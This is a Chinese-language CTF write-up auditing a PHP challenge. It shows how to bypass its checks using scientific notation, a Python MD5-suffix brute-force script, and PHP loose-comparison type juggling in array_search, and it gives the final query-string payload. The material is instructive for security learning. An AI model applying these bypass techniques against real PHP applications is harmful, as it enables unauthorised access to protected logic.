废话不多说,直接开启正文部分,打开题目,直接扔给我们一段PHP代码,如下:
     
   
那么直接就开始代码审计吧
首先我们观察这段代码,可以发现在大体上分为两段,当两段if都满足条件时,key1和key2都为1,此时就能拿到flag
我们先从第一段入手
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}观察第一段代码,需要我们传入两个值,a和b
    a需要满足大于6000000,且a的长度小于3,直接使用科学计数法,传入
    
     
      a=9e9
     
    
    (9e9=9*10^9)
   
    b需要满足对b进行md5加密后,截取密文后6位等于“8b184b”,这里就是一个简单的哈希碰撞,我们写一个
    
     Python
    
    脚本跑一下
   
import random
import hashlib
 
value = "8b184b"
while 1:
    plainText = random.randint(10**11, 10**12 - 1)
    plainText = str(plainText)
    MD5 = hashlib.md5()
    MD5.update(plainText.encode(encoding='utf-8'))
    cipherText = MD5.hexdigest()
    if cipherText[-6:]==value :
        print("碰撞成功:")
        print("密文为:"+cipherText)
        print("明文为:"+plainText)
        break
    else:
        print("碰撞中.....")跑出来的密文和明文分别为:
    密文:
    
     842fc2485a1faa0681f78d3e098b184b
    
   
    明文:
    
     792616362347
    
   
    所以我们传入
    
     
      b=792616362347
     
    
    即可
   
第一段就已经结束了
接下来我们看第二段的代码
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}c需要传入一个json格式的字符串
其中key为m的value不能为数字,且要大于数字2022
当字符串与数字进行比较时,会将字符串强制转化为整型
    所以我们可以传入一个
    
     6666aaa
    
    ,在进行比较时会被强制转换为6666与2022进行比较
   
再看key为n的value必须是一个数组,且value的数量必须为2,且第一个value也必须是一个数组
接着往下看
    第一次用
    
     array_search
    
    搜索n中是否有”
    
     DGGJ
    
    “,有的话才能开启下一步
   
    第二次使用
    
     foreach
    
    循环搜索n中的值是否含有”
    
     DGGJ
    
    “,没有的话才会使key2的值为1
   
    这里就矛盾起来了,既要求n中有”
    
     DGGJ
    
    “,又要求n中没有”
    
     DGGJ
    
    ”
   
    所以我们必须要绕过其中一个函数,array_search函数是可以绕过的,当函数将字符串与数字进行匹配时,会将字符串强制转换为整型进行比较,”
    
     DGGJ
    
    “转化为整型为0
   
    所以
    
     
      c={“m”:”6666aaa”,”n”:[[“6”],0]}
     
    
   
    完整的
    
     payload
    
    为
   
?a=9e9&b=792616362347&c={"m":"6666aaa","n":[["6"],0]}传入后最终拿到我们的flag
     
   
 
